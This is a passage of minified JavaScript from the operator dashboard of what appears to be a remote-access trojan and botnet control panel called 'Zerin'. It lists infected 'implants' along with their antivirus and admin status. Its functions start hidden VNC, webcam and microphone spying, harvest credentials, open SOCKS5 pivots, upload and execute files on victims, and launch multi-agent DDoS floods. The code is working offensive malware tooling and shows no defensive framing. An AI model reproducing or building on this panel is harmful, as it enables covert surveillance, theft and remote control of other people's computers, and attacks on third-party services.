14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const k2={alive:0,stale:1,dead:2};function NU(e,t,n){let r=0;switch(n.column){case"status":r=(k2[e.status]??3)-(k2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=So(e.os).localeCompare(So(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const SU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function zU(){const e=dr(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState("online"),[h,x]=p.useState({x:0,y:0,visible:!1}),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState(null),[_,A]=p.useState("Zerin"),[O,P]=p.useState(""),[I,U]=p.useState(new Set),[D,M]=p.useState(!1),[F,R]=p.useState(!1),[W,$]=p.useState(""),[H,X]=p.useState(""),[se,ue]=p.useState(!1),[ge,xe]=p.useState(null),Y=p.useRef(null),ee=p.useRef(null),C=p.useRef(null),K=p.useCallback(async()=>{try{const E=await lj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{K()},[K]);const{lastMessage:ne}=p.useContext(ld);p.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(oe=>{const J=oe.findIndex(pe=>pe.id===E.id);if(J>=0){const pe=[...oe];return pe[J]=E,pe}return[E,...oe]}),b(oe=>oe&&oe.id===E.id?E:oe)}},[ne]),p.useEffect(()=>{const E=setInterval(K,15e3);return()=>clearInterval(E)},[K]),p.useEffect(()=>()=>{Y.current&&clearTimeout(Y.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},ie=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),we=[...l==="all"?ie:ie.filter(E=>E.status===l)].sort((E,oe)=>NU(E,oe,u)),_e=t.filter(E=>E.status==="alive"||E.status==="stale").length,L=t.filter(E=>E.status==="dead").length;function de(E){d(oe=>({column:E,direction:oe.column===E&&oe.direction==="asc"?"desc":"asc"}))}function q(E){c(oe=>oe===E&&E!=="all"?"all":E)}function te(E){if(Y.current){clearTimeout(Y.current),Y.current=null,e(`/agents/${E.id}`);return}Y.current=setTimeout(()=>{Y.current=null,b(E)},250)}function me(E,oe){E.preventDefault(),y(oe),x({x:E.clientX,y:E.clientY,visible:!0})}function V(E,oe){var G;if(!g)return;const J=g.id,pe=g.hostname,be=oe==null?void 0:oe.action,ke=oe==null?void 0:oe.tab;if(x(re=>({...re,visible:!1})),y(null),be==="chat"){j(g);return}if(be==="confirm"){S({command:E,agentId:J,hostname:pe});return}if(be==="msgbox"){z({agentId:J,hostname:pe}),A("Zerin"),P("");return}if(be==="vnc"){gx(J).then(()=>{const re=rt(),ae=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(be==="hvnc"){uj(J).then(()=>{const re=rt(),ae=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(be==="webcam"){dj(J).then(()=>{const re=rt(),ae=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(be==="mic"){fj(J).then(()=>{const re=rt(),ae=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(be==="socks5"){pj(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port} + +Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(be==="execute_upload"){C.current=J,(G=ee.current)==null||G.click();return}if(be==="ban"){const re=t.find(We=>We.id===J),ae=re==null?void 0:re.banned,Oe=ae?`Unban agent ${pe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${pe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(ae?IE:LE)(J).then(()=>{n(We=>We.map(pn=>pn.id===J?{...pn,banned:!ae}:pn))}).catch(()=>o(`Failed to ${ae?"unban":"ban"} agent`));return}if(be==="remove"){if(!confirm(`Remove agent ${pe} (${J.slice(0,8)})? This cannot be undone.`))return;cj(J).then(()=>{n(re=>re.filter(ae=>ae.id!==J))}).catch(()=>o("Failed to remove agent"));return}(be==="submit"||be==="screenshot")&&E!=="creds"&&Ee(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ke&&e(`/agents/${J}?tab=${ke}${E==="creds"?"&auto=1":""}`)}function Z(){x(E=>({...E,visible:!1})),y(null)}async function fe(E){var ke,G,re;const oe=(ke=E.target.files)==null?void 0:ke[0];if(E.target.value="",!oe||!C.current)return;const J=C.current;C.current=null;const pe=oe.name,be=`C:\\Windows\\Temp\\${pe}`;try{const ae=await oe.arrayBuffer(),Oe=Array.from(new Uint8Array(ae)),{task_id:lt}=await Ee(J,{command:"upload",args:[be],data:Oe});let We=!1;for(let Zt=0;Zt<30;Zt++){await new Promise(Yn=>setTimeout(Yn,2e3));const qn=(G=(await Un(J)).results)==null?void 0:G.find(Yn=>Yn.task_id===lt);if(qn){if(qn.error)throw new Error(qn.error);We=!0;break}}if(!We)throw new Error("Upload timed out");const{task_id:pn}=await Ee(J,{command:"execute",args:[be]});for(let Zt=0;Zt<30;Zt++){await new Promise(Yn=>setTimeout(Yn,2e3));const qn=(re=(await Un(J)).results)==null?void 0:re.find(Yn=>Yn.task_id===pn);if(qn){if(qn.error)throw new Error(qn.error);alert(`Executed ${pe} on agent`);return}}alert(`File uploaded & execute command sent (${pe})`)}catch(ae){o(`Execute file failed: ${ae instanceof Error?ae.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:ee,type:"file",className:"hidden",onChange:fe}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Yl,{label:"Total",value:B.total,active:l==="all",onClick:()=>q("all")}),s.jsx(Yl,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>q("alive")}),s.jsx(Yl,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>q("stale")}),s.jsx(Yl,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>q("dead")})]}),s.jsx(bU,{agents:t}),s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[s.jsxs("button",{onClick:()=>{m("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:_e})]}),f==="online"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),s.jsxs("button",{onClick:()=>{m("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:L})]}),f==="offline"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&L>0&&s.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${L} dead agent(s)? This cannot be undone.`))return;const E=t.filter(oe=>oe.status==="dead").map(oe=>oe.id);try{await ME(E),n(oe=>oe.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:K,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):we.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[s.jsx("span",{className:"text-zerin-text font-medium",children:we.length})," ",f," agent",we.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["· filtered by ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:we.length>0&&we.filter(E=>E.status!=="dead").every(E=>I.has(E.id)),onChange:E=>{E.target.checked?U(new Set(we.filter(oe=>oe.status!=="dead").map(oe=>oe.id))):U(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),SU.map(E=>s.jsx("th",{onClick:()=>de(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,s.jsx(CU,{column:E.key,sort:u})]})},E.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:we.map(E=>s.jsxs("tr",{onClick:()=>te(E),onContextMenu:oe=>me(oe,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:oe=>oe.stopPropagation(),children:E.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:I.has(E.id),onChange:oe=>{U(J=>{const pe=new Set(J);return oe.target.checked?pe.add(E.id):pe.delete(E.id),pe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(sd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:So(E.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:No(E.last_seen),children:Vc(E.last_seen)})]},E.id))})]})})})]}),I.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[I.size," agent",I.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsxs("button",{onClick:()=>R(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-orange-400 bg-orange-500/10 border border-orange-500/20\r + hover:bg-orange-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),s.jsx("button",{onClick:()=>U(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),D&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(VS,{agentIds:[...I]})]})}),F&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>R(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),s.jsx("button",{onClick:()=>R(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"p-6 space-y-4",children:[s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",I.size," agent",I.size!==1?"s":""]}),ge&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${ge.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:ge.text}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),s.jsx("input",{type:"text",value:W,onChange:E=>$(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),s.jsx("input",{type:"text",value:H,onChange:E=>X(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("button",{onClick:async()=>{if(W.trim()){ue(!0),xe(null);try{const E=[W.trim()];H.trim()&&H.trim().split(/\s+/).forEach(be=>E.push(be));const J=(await Promise.allSettled([...I].map(be=>Ee(be,{command:"execute",args:E})))).filter(be=>be.status==="fulfilled").length,pe=I.size;xe(J===pe?{text:`Sent to ${pe} agent${pe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${pe} agents (${pe-J} failed)`,type:J>0?"ok":"err"})}catch(E){xe({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:se||!W.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[se?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",I.size>1?` (${I.size})`:""]})]})]})}),s.jsx(t_,{x:h.x,y:h.y,visible:h.visible,onAction:V,onClose:Z,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),s.jsx(yj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),s.jsx(r_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&s.jsx(PU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const oe=v.tags??[];n(J=>J.map(pe=>pe.id===v.id?{...pe,tags:E}:pe)),b(J=>J&&{...J,tags:E});try{await RE(v.id,E)}catch{n(J=>J.map(pe=>pe.id===v.id?{...pe,tags:oe}:pe)),b(J=>J&&{...J,tags:oe}),o("Failed to update tags")}}})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[k.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",k.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname}),"?",k.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{Ee(k.agentId,{command:k.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${k.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:k.command==="restart"?"Restart":"Shutdown"})]})]})}),N&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:_,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),s.jsx("textarea",{value:O,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{O.trim()&&Ee(N.agentId,{command:"troll_msgbox",args:[O,_||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),z(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function Yl({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function CU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function PU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(sd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(xn,{label:"Hostname",value:e.hostname}),s.jsx(xn,{label:"Username",value:e.username}),s.jsx(xn,{label:"OS",value:So(e.os)}),s.jsx(xn,{label:"Architecture",value:e.arch}),s.jsx(xn,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(xn,{label:"Integrity",value:e.integrity}),s.jsx(xn,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(xn,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(xn,{label:"Sleep / Jitter",value:gj(e.sleep_interval,e.jitter),mono:!0}),s.jsx(xn,{label:"Agent ID",value:Hs(e.id),mono:!0}),s.jsx(xn,{label:"First Seen",value:No(e.first_seen)}),s.jsx(xn,{label:"Last 